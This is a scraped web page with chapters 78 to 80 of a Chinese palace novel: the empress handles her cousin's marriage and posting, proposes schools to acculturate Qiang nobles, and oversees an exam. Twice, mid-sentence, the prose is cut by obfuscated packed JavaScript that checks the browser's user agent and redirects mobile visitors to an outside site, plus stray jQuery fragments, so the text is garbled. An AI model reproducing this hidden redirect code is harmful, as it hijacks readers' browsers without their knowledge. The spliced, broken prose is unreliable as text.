$(''.inform'').remove(); $(''#content'').append('' 回来了。” 霍翎道:“将安儿抱出去吧,我爹来了。” 五个月大的孩子,在不吵不闹的时候,总是十分可爱的,这会儿他穿着红色的夹袄,被霍翎抱在怀里,手抓着自己的脚,圆溜溜的眼睛盯盯这个,瞧瞧那个,不时还咧一咧嘴。 霍世鸣看着孩子的眼睛,微微一愣,忽然生出许多感慨:“安儿和娘娘小时候生得真像。” 霍翎看向霍世鸣。 霍世鸣道:“娘娘刚出生那会儿,我在军营忙得抽不开身,只能请奶娘和丫鬟照看你。每天晚上我从军营回来,去你屋里看你的时候,你就总是这么看着我,还一个劲朝我咧嘴笑。” 霍翎低下头,看着怀里的孩子。 大皇子抬头,盯着她咧嘴。 霍翎摸了摸孩子的小脸,问霍世鸣要不要抱一抱他。 霍世鸣小心接过孩子。 景元帝知道他们父女许久未见,肯定有很多体己话要说,这会儿并不在殿内。 所以霍世鸣逗弄了一会儿孩子后,就对霍翎道:“你母亲和阿泽都想进宫来看看孩子。还有建白,他也来京师了。” 霍翎微讶:“方表哥也来了?” 霍世鸣:“是啊,不知道你方不方便见他。” 霍翎听出霍世鸣语气不对:“是方表哥出什么事情了吗?” 霍世鸣支吾了一下:“还是让你母亲明日与你说吧。你先听听看,要是觉得合适的话,再见见建白。” 霍翎看霍世鸣的反应,就知道霍世鸣要说的是一件私事,而且不急在一时解决,便也没有追问:“那明天就先让母亲和阿泽进宫吧。” 这还是方氏和霍泽第一次进宫,好在两人已经见过不少世面,又是无墨亲自出宫接他们,所 以两人这会儿还稳得住。 但等两人踏入凤仪宫看到倚坐在殿上的霍翎时都下意识顿住了脚步。 霍翎在自己的宫殿里见自己的亲人穿着打扮自然是怎么舒服怎么来长发也只用一根羽毛发簪随意挽起。 可莫名地方氏和霍泽都从她身上感受到了一种难言的压迫。 这让原本还算从容的两人都变得紧张起来不由自主地审视起自己担心自己有什么失仪冲撞的地方。 “给娘娘请安。”两人连忙行礼。 霍翎请两人坐下上下打量霍泽一番笑道:“长高了不少。” 霍泽今年已有十六姐弟三年不见霍泽的身高往上蹿了一大截这会儿已经比霍翎高出了大半个头。 无墨走回霍翎身边应道:“可不是嘛我方才看到少爷的时候也吓了一大跳。” 霍翎道:“就是太瘦了看起来有些单薄。” 霍泽终于找回了几分和阿姐相处的熟悉嬉笑道:“阿姐放心吧我现在每天都吃很多肉很快就能强壮起来了。” “是该多吃点。”霍翎笑了下目光移到方氏身上关心道“雪天赶路母亲身体可还受得住?” 方氏回神将心底那点儿畏缩抛之脑后笑道:“受得住我……臣妇要是染了风寒是断断不敢来凤仪宫的。” 霍翎道:“我们一家人私底下见面不用这么讲究。” 霍泽喝了口宫女刚奉上来的茶左看看右瞧瞧既激动又疑惑:“阿姐怎么没看见安儿?” 霍翎:“他这会儿应该还在睡觉不如先让无墨带你去看看他要是他醒了你就在那里陪他玩一玩。” 霍泽少年心性根本坐不住高高兴兴地跟着无墨去了。 打发走了霍泽霍翎看向方氏温声道:“听爹爹说母亲有事寻本宫。” 方氏捏了捏帕子 霍翎挥了挥手几位宫女都往外退去。 方氏暗暗吐了口气明明来之前就已经打好了腹稿这会儿对上霍翎的视线她却有种说不出的紧张:“是、是关于建白的婚事。” 霍翎面上不动声色只静静听着。 话已出口方氏闭了闭眼也就全说了。 “……劝说的话我、你爹还有他爹娘都不知道说过多少次了可他根本听不进去。” “我想……”方氏的声音里带上了哀求“我想请娘娘帮忙劝劝他。” 霍翎沉默没想到会是这个请求。 说实话这个请求让她有些为难。 在明知道对方为什么不成亲的情况下主动将对方叫进宫里劝说对方听从父母之命成亲…… 如果方建白真的松了口那到底是被她劝动了还是因为不想她为难才摆出如此姿态呢。 “这种事情应该由长辈劝说才是本宫出面并不合适。” 看着方氏面露急色似乎想要继续开口霍翎手掌往下压了压示意她稍安勿躁。 “不过本宫与方表哥许久未见他难得来京一趟本宫肯定是要与他见上一面的。” 作者有话要说 第 79 章 “移风易俗,这四... 第79章“移风易俗,这四 要不是实在没了办法,方氏也不能昏了头求到霍翎面前。 但这种事情,对困于后宅的方氏来说是大事,对霍翎来说,只能算小节了。 她也没打算拖延下去,直接让崔弘益去一趟霍府,将方建白召进宫来。 方建白来得很快,他眼眸低垂,不敢逾矩:“给娘娘请安。” 霍翎赐座,开门见山:“一别四年,今日本宫召表哥过来,一是在宫里设了家宴,二是母亲有一事相求,本宫想问问表哥的意思。” 这会儿方氏和霍泽都在偏殿逗弄大皇子,霍翎是在凉亭里见方建白的。 凉亭周围围了一圈屏风,又点了几盆炭火,倒不怕受凉。 方建白微微一愣,无需霍翎挑明,他已反应过来,无奈一叹:“我没想到姑母会求到娘娘面前。” 要是知道的话,他肯定是要拦上一拦的。 方建白稍稍整理了下自己的思绪,又左右看了一圈,确定宫人都站在屏风外,只要不刻意提高声音,宫人就听不到他们的谈话。 “这几年时间里,姑父先是晋升为行唐关副将,他手中没有得用的人,我年纪、能力、资历都不足,只有忠心勉强值得一提,才被姑父委以重任。” “那段时间,我一日不敢懈怠,吃住都在军营里,根本无暇考虑其它事情。” “好不容易将所有事情都梳理清楚了,姑父又在娘娘的提拔下,成为了燕羽军主将。” “燕西没有什么人会练骑兵,为了不辜负陛下和娘娘的厚望,姑父和将士们同吃同住,闲暇时都在整理翻看兵书。他作为主将如此勤勉,我又怎能偷懒。” “这确实是你的性子。”霍翎手里捧着汤婆子,平静道,“但这个理由应该无法说服母亲他们吧。” 方建白苦笑。 确实,他私底下已经和长辈们沟通过不止一次,但在长辈们看来,成亲这种事情,又不需要他花什么心思,自有长辈为他操办。 而且战场刀剑无眼,早些成亲,早些诞下子嗣,之后他要做什么事情,都没有人会再拦着他。 “我与娘娘情同兄妹,既然娘娘问了,我也不瞒娘娘。” “娘娘天人之姿,在燕西之时,就不知道有多少人倾慕娘娘。我也不能免俗。但娘娘入宫以后,我万万不敢再有半分肖想。 这份心意,所有人都能看出来,方建白却从未亲口说出来过。 后来她与端王结缘,有些话再说出口,就显得不合时宜了。 已至今日,她稳居中宫之位,又诞下嫡皇子,时过境迁,倒是能说出口了。 “我没想过一直不成亲,不过我才二十二,就算多耽搁个三四年,也才二十五六。只是我与长辈们说了,长辈们却难免多想。 霍翎听到这里,也算是明白了方建白的想法。 不管方建白到底是因为什么才不急着成亲,他对自己未来是有明确规划的。只是他的想法没能得到长辈的认可。 霍翎说:“这样僵持,并非好事。 方建白叹了一声:“我知道,我今晚回去就和姑父姑母好好聊一聊,不会让他们再因为我的个人私事,叨扰娘娘。 霍翎端起茶盏,抿了口茶水:“你我至亲,说这话就显得外道了。就算母亲不说,见了你以后,本宫也要问上一问的。 霍翎今日召见方建白,其实还另有要事:“你这三四年有什么打算? 方建白有些不明白:“燕羽军初建,千头万绪,我这三四年应该都会在军中好好训练士卒。 顿了顿,方建白脑海里灵光一闪:“如果有什么事情需要我去做,娘娘只管开口。 霍翎的指尖轻轻敲着杯壁:“这件事情,其实和燕羽军主将之争有些牵扯。 当初在争夺燕羽军主将之位时,赢面最大的人其实是安鸿羽。 但人算不如天算,她在那个时候怀孕了,景元帝为了给她腹中的孩子增加筹码,越过安鸿羽,点了霍世鸣为燕羽军主将。 这件事情,到这里就算是翻篇了。 可霍翎心里还是存了一些疑虑。 根据邱鸿振查到的东西来看,当时在背后推安鸿羽上位推得最厉害的,就是柳国公的人。 再加上她爹越过安鸿羽,成为了燕羽军主将,谁也不知道安鸿羽心底到底是什么想法。 霍翎不可能因为自己的多疑就猜忌打压安鸿羽,但她也不觉得自己的多疑是一件坏事。 而且还有另一个更重要的原因—— 她在燕西根基深厚。 在比燕西重要许多的燕北,却毫无经营。 朝廷重视马政,不惜花费巨大代价也要培养骑兵,为的不还是燕北,不还是那一块被割让出去,百年未曾收复的燕云十六州吗。 她需要提前在燕北布一布局了。 未来几年内,大燕都无力兴师北伐。 但十年以后,二十年以后,待到一切条件成熟,如果能在她的推动和主导下,让羌戎彻底并入大燕疆域,让燕云十六州重回中原王朝…… 收复失地,开疆扩土,让大燕那本就壮观的舆图再往外延伸……只要这么想一想,她就激动得要练上半个时辰的字才能重新恢复平静。 霍翎也不知道自己为什么会生出这种想法。 也许是因为少年时常听父亲说起霍家祖训,也许是因为她在牢狱里用羌人和燕人之论来劝说李宜春时,李宜春脱口而出的那句“你居然妄图吞并羌戎。 总之,当她走到如今的位置,而且有能力去做这些事情时,她就自然而然地去做了。 未必能功成,但闲棋应先落下。 …… 霍翎心中的斟酌,不可能全盘向方建白道来,她只是适当挑拣了一些来说。 其实这件事情,霍翎原本是没有考虑过方建白的。 方建白在燕羽军干得好好的,他的顶头上司就是霍世鸣。可以说,只要方建白不犯下什么无可挽回的大错,未来都是一片坦途。 只是一时之间,霍翎手里寻不到合适的人选。 而方建白又恰好在这个节骨眼上进京了。 霍翎收回思绪,为方建白分析利弊:“燕羽军这支军队,好位置就那么些,你离开三四年,重要的位置都被人占了,以后再回来,就算有我爹帮扶,想往上爬也不容易。 “你自幼生活在燕西,燕北对你来说人生地不熟。军中不同其它地方,就算你有皇后表哥的名头,别人也未必愿意买你的账。 “更别说我还想让你去安鸿羽将军麾下效命,在那里,你势必要直面大穆骑兵。这远比留在燕西练兵要危险,而且还未必比留在燕西有前程。 方建白笑了一下:“听起来,似乎确实不是什么好差事 。” 霍翎也笑道:“对那些想要搏一个前程的人来说未必是坏事。但你有更多选择所以这对你来说确实不能算好差事。” “我明白了。” 方建白点头坐在这里聊了这么久他还是第一次抬眼凝望霍翎。 但不过一瞬他又重新低头。 “娘娘一向是个有成算的人如果娘娘手里有比我更合适的人选绝不会说出这番话。我知道娘娘心中的为难但娘娘无需担心。” 方建白默默换了对霍世鸣的称呼:“行兵打仗岂能畏险惧难。如果我想求安稳早就向霍将军求了后勤粮草官这个职务。” “至于我的前程。说句实在话我与娘娘是至亲只要娘娘和大皇子一切安好我就不用忧虑自己的前程。娘娘有吩咐只管说就是。” “但我如今是霍将军的亲卫又在霍将军麾下任命有关我的职务调度还需要先向霍将军请示。娘娘稍等两日。” 霍翎听到方建白的表态微微点头又道:“此事不急 聊完公事方建白也放松了一些不像方才那样绷着身子:“其实避出去几年也好不然我三天两头在姑母跟前晃悠总惹她不快。等阿泽年纪大了她要操心阿泽那边就不会只盯着我了。” 霍翎顺着这个话题与他聊了聊霍家、方家的情况。 方建白原本也想关心一下她的近况但转念一想她贵为皇后又生下大皇子应该极少有不顺心之事。就算有也不适合跟他倾诉。 便话锋一转与她聊起大皇子。 霍翎带他去偏殿看大皇子。 晚些时候被景元帝再次召见的霍世鸣也过来了。 霍翎留几人在凤仪宫用了晚膳这才让崔弘益送他们离开。 也不知道方建白是如何同霍世鸣、方氏沟通的两日后霍世鸣寻了个理由说是想将他们从燕西带过来的礼物送进宫给霍翎和大皇子。 等宫里应允霍世鸣就带着一大车礼物进宫了。 “娘娘在宫里肯定什么都不缺这回我带来的东西大都产自西域是从西域商人那里买来的。您就当瞧个新鲜。” 羌戎的 地盘连通着河西走廊,自从羌戎再次臣服大燕后,商人又再次来往于大燕与西域。 霍翎仔细看了看这些礼物,突然拎起一坛酒闻了闻:“离人归? 霍世鸣道:“是啊,这种酒入口有青草的苦涩,我们一家人都不喜欢喝。不过我想着你在京中应该很难寻到这种酒,就带了几坛过来。 除了这些东西,霍世鸣还让霍翎看了看给大皇子的礼物。 孩子年纪还小,所以给孩子准备的,大都是自家人自己做的虎头鞋、肚兜和帽子,还有几块沉甸甸的平安锁。 霍翎看着那几个装着平安锁的匣子,奇道:“怎么准备了三块? 霍世鸣卖了个关子:“只有一块是我准备的。 霍翎:“李宜春和周嘉慕? 霍世鸣道:“就知道瞒不住娘娘。 霍翎笑了下,让无墨收好东西,她带着霍世鸣去了书房。 刺骨的寒风卷起朵朵雪花,从半开的窗户吹入室内,在进入的瞬间就融为一滴水,落在霍世鸣的手背上。 霍世鸣关好窗户,坐到霍翎下首:“建白都跟我说了。 “我虽舍不得他,但你这边需要用到他的话,就将他调去燕北吧。到时再从燕羽军里抽调一些人跟他过去,免得他在那边无人可用。 简单敲定了方建白的事情,霍世鸣问起了另一件事情:“那日在御书房,你示意我提起燕西马政,可是有什么谋划? 他一个边境将领,御前对奏时,只要回答好军中事务就行。 但霍翎突然问起燕西的变化,又提醒他谈论燕西马政,这些都是超出他职权范围的内容。 霍世鸣回去思考了很久,听见方建白说的那些话后,就猜到霍翎是要对燕西出手做些什么了。 就像她要在燕北布局一样。 霍翎点头:“是有些想法。 霍世鸣主动道:“需要我做什么吗? 霍翎道:“爹爹那天就回答得很好。 霍世鸣回想了下那天的谈话,突然了然:看来阿翎的谋划,和羌戎、和李宜春有关。 看霍翎不打算细说,霍世鸣也没有追问。 霍翎换了个话题:“我让爹爹盯着周嘉慕,他这几年有什么异动吗? 霍世鸣摇头:“没有。我的人一直在盯着他和京中往来的信件,但都没查出什么异常。” “有一回,我的人与他的人起了不小冲突,他的人十分愤怒,想请他出面与我交涉,他也忍了。就为这事,他手底下不少人都跟他离了心。” 代入周嘉慕的立场,有时候霍世鸣都为他感到憋屈。 担任行唐关副将时,上面有个嚣张跋扈的主将何泰压着。 好不容易当上了行唐关主将,还没来得及威风,就多了个后台比何泰还大的副将。 不过同情归同情,惋惜归惋惜,立场不同,该争还是得争。 霍翎也没太把霍世鸣口中的冲突放在心上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408586|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 权势之争,争的已经不是所谓的对错。 甚至说得难听一点,周嘉慕是端王的人,是有可能威胁到她和安儿的“异己”。 “继续盯着他。” *** 年底本就是宴会最多的时候,霍家人的到来,更是让京中权贵圈子变得愈发热闹了。 自从霍皇后入主中宫以后,霍家就成为了京中新贵。 只可惜这炙手可热的新贵,在京师待了不到两个月就走了,以至于很多人都没能和霍家攀上交情。 如今再来京师,又添了个“大皇子外家”的名头,只会更炙手可热。 霍世鸣除了受邀赴宴外,还另外办了一个私人宴会,宴请了邱鸿振、靖国公、靖国公世子、无锋这些明面上的皇后一党,与他们好好联络了一番感情。 与之相对的,就是已故承恩公所在的何家,除了一些亲朋故交还会上门外,已是门庭冷落。 皇宫里,霍翎正在一边翻看内务府罗列的宫宴菜肴单子,一边用小鼓逗孩子玩,就听外面传来行礼声。 景元帝解下大氅,快步走到霍翎和孩子面前。 霍翎将手里的小鼓递给他。 景元帝接过,一边摇着小鼓,一边问霍翎:“怎么突然派人去找朕?” 霍翎道:“那天听我爹和陛下聊起李宜春此人,正好我对此人也算有所了解。陛下不记得了吗,他当初正是由我劝说归降的。” 景元帝先是一愣,旋即回想起来了:“朕只记得询问你爹,倒是忘了这件事情。你今日突然提起此事,想必是 要向朕进言了。” 霍翎将手中已改好的菜肴单子递给无墨。 无墨接过,带着殿内众人退下。 霍翎才道:“这个想法,其实臣妾早就有了。只是之前时机不成熟,就算提出来,也不好施行。” 景元道:“与朕说说。” 霍翎娓娓道:“我少年时读前朝史书,曾经在上面读到过叶文正公的事迹。” “叶文正公因为得罪了当朝权臣,被贬去班安。彼时的班安才刚归降,燕人的数量远不及当地土人。叶文正公花了十五年时间,移风易俗,自那以后,两百多年来,即使叶文正公早已化作一捧黄土,无论中原王朝是强盛还是羸弱,班安地区都世传弗替。” “移风易俗,这四个字,说易行难,背后是多少心血,多少汗泪。” 景元帝笑了一下,总结道:“你是想教化羌人。” 霍翎点头:“我知道朝廷一直在做这件事情,但几十年下来,成效并不显著。羌戎各大部落里的贵族,大都只学羌人的土话,遵照羌人的习俗来生活。” “只有少数仰慕大燕的贵族,以及混居在燕西十四城里的羌人,才会学习大燕文化,依照大燕的习俗来生活。” “如果羌戎里面的贵族,能够像李宜春一样,跟着汉人老师学习汉人文化,多年以后,羌戎自然亲附朝廷。” “想要逼他们学汉人文化,可不容易。” 景元帝感慨之余,突然又想起霍翎先前说的那句话:之前时机不成熟…… 为什么先前时机不成熟,如今却可以这么做了呢? 景元帝话锋一转:“是因为燕西多了一支骑兵?” 霍翎眼眸一弯:“陛下果然与臣妾想到了一处去。不错,多了这支骑兵威震燕西以后,朝廷可以在燕西多开办几处州学。” “届时,就请各部落里适龄的贵族子弟来州学读书,在燕西生活,念上个三五年,再放他们回去。” 景元帝想了想,道:“略显强势。” 要是操作不好,倒显得是扣留了这些贵族子弟,让他们当质子。 霍翎道:“可以做些调整,适当怀柔。不过只要羌戎没有异心,这些贵族子弟来州学进学,就是好事而非坏事。” 景元帝知道这是一件极好的 事情,图谋的并非眼下,而是以后。 等以后这些贵族子弟接过部落大权,继承部落以后,羌戎又会是何等光景? “而且还有一件好处。”霍翎又道。 “燕西乃苦寒之地,想要在那里兴办学堂,朝廷就势必要多派一些朝臣去。世家子弟、勋贵子弟,有更好的晋升途径,他们未必乐意接下这份苦差事。就算真有人乐意去,也只占少数。” “所以朝廷派去的臣子,大都是些出身不高,没有背景的人。这些人若能忍住年岁,在燕西打磨多年,做出功绩,等他们从燕西归来,必是肱股之臣。” 如今朝中大量的晋升途径都被世家勋贵把持,出身不高的人想要冒头,只能像先前的丁景焕一样,借着整治马政贪污一案,展示自己的才能。 但在马政一案里,冒头的人还是太少了…… 这些人去了燕西以后,短时间内肯定都不会被调回来。 等将来安儿长大,这些人也差不多苦熬出来了。到时安儿可以从中挑些有能力的,将他们调回京师,不愁这些人不效忠安儿…… 景元帝一下就想得远了。 他垂下眼眸,看了看躺在小床里,不知何时已经睡过去的孩子,这才再次看向霍翎:“等明日陆杭进宫,你随朕去见见他。” 作者有话要说 *更新时间调整为下午六点 *这章是在为以后布局。 大家应该都看出来了,如今大燕没有科举制度。 *关于移风易俗这个,我印象很深的是,之前在看近代外交时,看到了卡瓦十七王敬告祖国同胞书,还有班老族长在1953年给主席写信。顺便贴一下原文: “以前勘测国界时,外国官曾送来东西给我们,我们也没有接受,英国人就打我们,因此恐惧,现在外国人经常来,假使班老归中国,请派解放大军去驻,保护我们,班老人民的心是永远不变的,如不要班老也请回信。” 当时班老地区是被缅甸控制的,在六十年代归国。 第 80 章 礼部对于娘娘的吩... 第80章礼部对于娘娘的吩 陆杭收到传召时,还以为景元帝是要询问年底祭天的事情。 他将这几天写好的折子揣进袖子里,打算等景元帝问起时,就将折子呈递上去,请景元帝过目。 结果到了宫里,才刚给帝后行过礼,就听上首传来皇后的声音: “陛下和本宫召陆尚书进宫,是为了在燕西兴办州学一事。” 陆杭掏折子动作一顿。 在燕西兴州学? 陆杭小心翼翼道:“燕西并非文教昌盛之地,陛下和娘娘怎么会想到在那里办州学?” 霍翎道:“州学开设在燕西,当然要惠及燕西子民,允许有才识的燕西学子进学。” “但办州学最主要的目的,还是用来教导羌戎贵族子弟。” “在州学官员的教导下,让他们通晓汉人文化,去其野蛮习性。” 霍翎这神来一笔,着实让陆杭诧异不已。 不过陆杭身为礼部尚书,主掌的就是教化之事。 霍翎只是点到为止,他就已默默品出了这个主意的好处。 “娘娘所言甚是。” “我朝愿意在燕西兴办州学,教化羌戎子民,实乃一项仁政,羌戎知道以后,势必会感念我朝的恩德。” 陆杭深谙说话的艺术,完全将兴办州学一事,当做是朝廷在向羌戎施恩。 霍翎觉得,自己很有必要向陆杭学习一下,这种登峰造极的睁眼说瞎话的能力。 景元帝不由笑了一下,这才开口道:“召你过来,不是听你说这些的。” 上位者只负责决策,涉及到具体如何落实,就必须交由手底下的人来办了。 而且在燕西兴办州学,是好差事,也是苦差事。 要选派什么人过去,必须仔细斟酌。 想到这儿,景元帝目光扫向霍翎,问霍翎打算怎么选人。 霍翎笑道:“陆尚书在这里,陛下怎么还来找臣妾讨主意了?” 景元帝道:“这个法子是你想出来的,你心中定有成算。但说无妨。” 霍翎心里确实是有些想法的。 她是土生土长的燕西人,远比朝中许多大臣都要熟悉那边的情况 。 这也是为什么,在她参与的许多政治事件里,超过一半都与燕西、羌戎有关。 因为知根知底。 “派去燕西的官员,最好是些熟悉羌戎情况的。” “如果有几个会说羌戎土话的,那就更好了。” 陆杭委婉道:“朝中熟悉羌戎情况的官员不少,会说羌戎土话的,却不好找。” 霍翎语气略带一丝责备。 “陆尚书此言差矣。” “兴办州学这种事情,只需派三两个老成持重的臣子前去坐镇,剩下的,都可以选没有太多任事经验的年轻人。” “朝中会土话的官员不好找,那就去国子监找,甚至可以在民间张贴告示,求取贤才。” 说到这儿,霍翎看向身侧的景元帝。 “在陛下的治理之下,大燕人才济济,还怕选不出足够数目的官员吗。届时应召的才子如过江之鲫,礼部多出几套题目考教他们,从中选出一些有真才实学的就是了。” 陆杭也算是知道,皇后娘娘入宫三年,为何还如此盛宠了。 他顶多就是擅长睁眼说瞎话了点,哪儿像皇后娘娘,是奔着不给拍马溜须的佞臣活路去的。 心下略作一番感慨,陆杭拱手:“臣知道该如何做了。” 景元帝微微颔首:“那就交由礼部了。” 离开皇宫时天色尚早,陆杭先去了趟国子监。 听说礼部要出卷子来考教国子监的学子,从中选出成绩优异者去燕西任官,江祭酒自是十分乐意。 打好招呼,陆杭就将这件事情交给了底下人,让他们尽快弄出卷子。 等底下人出好题目,陆杭仔细看过以后,又略做了一些调整。 “行了,将这份卷子重新誊抄一遍,拿去印刷,再通知国子监那边,可以定下考试——” 在陆杭吩咐的时候,底下人已伸手过来接卷子。 结果还没触碰到卷子,陆杭突然止住话音,抽回了卷子。 “大人?” 陆杭微垂眼眸,思量片刻,再次探手递出卷子,却是改了主意。 “在午时之前誊抄好,本官要带着它进宫一趟。” 凤仪宫里,霍翎正倚在榻上小憩。 睡得迷迷糊糊的 时候,隐约听到屏风外传来李满的声音。 一刻钟后,霍翎睁眼,唤人进来伺候她重新梳洗。 无墨捧着几张纸稿走了进来。 霍翎余光扫了她一眼:“方才李内侍来过? “娘娘听到动静了?无墨问。 霍翎:“原本还以为听错了。他送了什么来。 无墨走到铜镜前,将纸稿递给霍翎:“您瞧瞧。李内侍说,这些东西是陆尚书送进宫里给娘娘过目的,陆尚书希望娘娘在闲暇时,能够指点一二。 “给本宫过目? 霍翎朝正在给她揉肩的宫女摆摆手,接过纸稿一看,顿时笑了:“礼部出过那么多套卷子,这天底下还有比他们更会出卷子的人吗? 无墨疑惑:“卷子? 霍翎折起纸稿,起身道:“走,去书房。 坐在书房里,霍翎将礼部准备的卷子仔细看了一遍。 礼部出的题目都极有水准,不仅涵盖了燕西的风土人情,还考察了考生对羌戎的了解,最后一道占分极重的题目,询问了燕西兴办州学一事。 能将这套卷子答出高分的人,绝对都是有真才实学的。 霍翎思索片刻,吩咐无墨:“磨墨。 霍翎提笔,没有改动卷子的内容,只是在末尾又添了一道题目,询问学子应该如何治理羌民,才能让羌民更好地融入大燕,在大燕的国土上生活。 等到墨迹晾干,霍翎道:“送回给李内侍,托李内侍转交给陆尚书。 陆杭在衙门里等待许久,下衙之前,终于拿到宫里送回来的卷子。 他飞快扫看一遍。 看着卷子最末新添的那道题目,陆杭抚须一笑,递给亲信下属:“行了,可以通知国子监那边,让他们准备考试了。 下属接过卷子,却还是不解:“大人,出题本就是我们礼部的职责,您怎么还特意将卷子送进了宫里? 陆杭微笑:“这件事情若是经由陛下授意,确实不用送进宫里,请陛下过目。 “但这是皇后娘娘吩咐下来的事情,万一娘娘在看完卷子后,还有其它吩咐呢? 还有一句话陆杭没对下属说。 ——将卷子送进宫里,也能让娘娘知道,礼部对于她 的吩咐,不敢不尽心。 江祭酒得知礼部出好了卷子,也没耽搁,将考试时间定在了三日后。 考试地点也安排在国子监,不过监考一事是由礼部来负责。 霍翎得知这个消息时,两位公主正好过来凤仪宫看大皇子。 霍翎问两人,最近在天章阁都学了些什么。 二公主快言快语。 大公主等二公主说完以后,再补充些二公主没提到的内容。 霍翎:“几位老师给你们讲过羌戎吗? 见两位公主点头,霍翎将考试的事情告诉她们:“你们三日后想不想出宫,去国子监瞧瞧? 大公主还有些犹豫,二公主已高兴道:“母后,我想去。 大公主看二公主已经嘴快应了,连忙道:“我怕江祭酒会生气。 二公主道:“他是臣子,我们是公主,他还敢给我们脸色看? 霍翎笑道:“又不是什么大事,到时你们乖乖跟在陆尚书身后,不要影响到监生考试就行。 等傍晚景元帝过来,霍翎一边梳着发,一边随口道:“陆尚书和崔翰林都给她们讲过羌戎的事情,只当是去凑个热闹。 她说得漫不经心,景元帝也就没太放在心上。 直到三日后,江祭酒突然进宫,问景元帝怎么能给两位公主令牌,让两位公主去国子监监考呢。 景元帝被说得一怔,想了好一会儿,才想起来霍翎确实有跟他提过这么一回事。 至于令牌,他不太清楚,应该是霍翎给的。 “两位公主在国子监里,可有扰乱考场秩序,打扰考生考试?景元帝反问。 江祭酒那满腔的气势都被问得一滞:“……没有。 景元帝摆手:“那就无妨。两位公主年纪小,没见识过这种场面,想去长长见识,江卿不必在意。 景元帝直接将江祭酒挡了回去,压根没惊动到霍翎那边。 不过霍翎还是从两位公主那里听说了江祭酒的反应。 当江祭酒在国子监看到两位公主的时候,眼珠子都快生生瞪出来了。 他面上恭敬,嘴里也说着奉承的话。 什么“考试要考三个时辰,公主金枝玉叶,站在这里太操劳。 还有什么“已在厅堂备好了茶水点心,请公主移步品尝”…… 可见以前吃过教训,不敢在面上轻视两位公主,却用这种看似恭敬的话语捧着她们,想方设法支走她们。 二公主哼道:“我才不上他的当呢。” 大公主看起来也比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408587|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平时要活泼一些,这会儿激动得俏脸微红:“我也觉得在考场监考三个时辰太累了,所以让人将桌椅和茶水点心直接送来考场。” “反正我们坐得远,吃东西又没什么声音,不怕吵到考生。” 霍翎忍俊不禁,都能想象到江祭酒那吃瘪的神情。 礼部花了几天时间,将所有考卷都评改完毕,从中挑出最好的二十份送进宫里,请帝后过目。 霍翎坐在景元帝身边,与他一起翻看这些考卷,感慨道:“江祭酒为人是迂腐了些,不过在祭酒之位上干得还不错。” 景元帝纳闷:“你知道了?” 还以为他身边的人走漏了风声,让霍翎知道了江祭酒进宫告状一事。 霍翎敏锐道:“臣妾知道了什么?” 景元帝暗道露馅,低咳一声:“没什么。” 霍翎眼眸一眯:“陛下居然为了江祭酒欺瞒臣妾。” 景元帝可不担这“罪名”,只得如实道来。 霍翎听完以后,也不意外,是江祭酒干得出来的事情。 “不生气?”景元帝问。 霍翎将两位公主说的那些话,转述给了景元帝:“吃瘪的是他,生气跳脚的也是他,臣妾才不会被这种迂腐的人气到。” 霍翎还顺便解释了下令牌的事情:“令牌是臣妾给她们的,防的就是江祭酒这一手。” “如何教养公主是皇后的职责,江祭酒身为外臣,进宫过问此事,僭越了。” 景元帝笑她:“一点亏都不肯吃。” 霍翎道:“谁乐意吃亏啊。” 景元帝摇头感慨:“你这性子啊。” 霍翎视线扫了过去:“陛下觉得不好?” 景元帝反问:“朕的答案,你不是最清楚的吗?” 霍翎被他说得一笑,伸手握住了他的手:“臣妾的性子,估计就是这样了。再怎么和陛下待在一起,也学不来陛下的包容宽仁。” 这几年里 ,她一直在旁观景元帝的行事。 那些举重若轻的政治手腕,高瞻远瞩的政治眼光,她可以学会。 景元帝的行事风格,她却很难学会。 因为她与景元帝的性格截然不同。 不同的性格,会让他们在面临同一件事时,有不同的反应。 不过霍翎也不打算学习就是了。 她一步步走到今日,靠的绝不是包容宽仁。 所以当天下午,江祭酒见到了霍翎派去的崔弘益。 “皇后娘娘说,江祭酒虽然会教国子监的监生,却不会教公主。” “如何教导公主,就不劳您一再费心了。” 江祭酒面色涨得通红,一瞬间仿佛回到了三年前。就是在这里,就是这位崔内侍,带来了皇后娘娘的懿旨,斥责他不配为公主师。 而今虽然没有颁下懿旨,只是口头训斥,还是让江祭酒羞恼不已。 可是就连江夫人都不同情他:“都因为教导公主的事情栽过一次了,怎么还能再栽一次呢。” 江大娘子也说她爹:“爹告状时一点儿都不顾及我,这要我进宫怎么面对两位公主。”她可是大公主的伴读。 江祭酒:“……” 唉,这可真是…… 在有关公主的事情上,他果然应该装瞎子! 还有就是,陛下您怎么突然卖了我呢! …… 随手教训了下江祭酒,霍翎就将他抛之脑后了。 她这会儿正在御书房里见陆杭:“这二十份卷子,本宫都看过了,确实不错。不过这二十人,应该未必都愿意去燕西吧。” 陆杭点头应是,还为江祭酒说了句好话:“江祭酒提前问过他们了,这里面只有六人愿意去。” 霍翎道:“哪六人?” 陆杭一一报上名字。 霍翎抽出他们的卷子:“只有六人肯定不够。” 陆杭道:“可是要再放宽一些要求?” 霍翎也愿意多给国子监的监生一些机会:“那就放宽到前一百名。” 陆杭:“只怕还是不够。” 霍翎:“将卷子最后两道题目张贴出去,让民间的学子文人来作答。直到明年元宵,从中择优。” 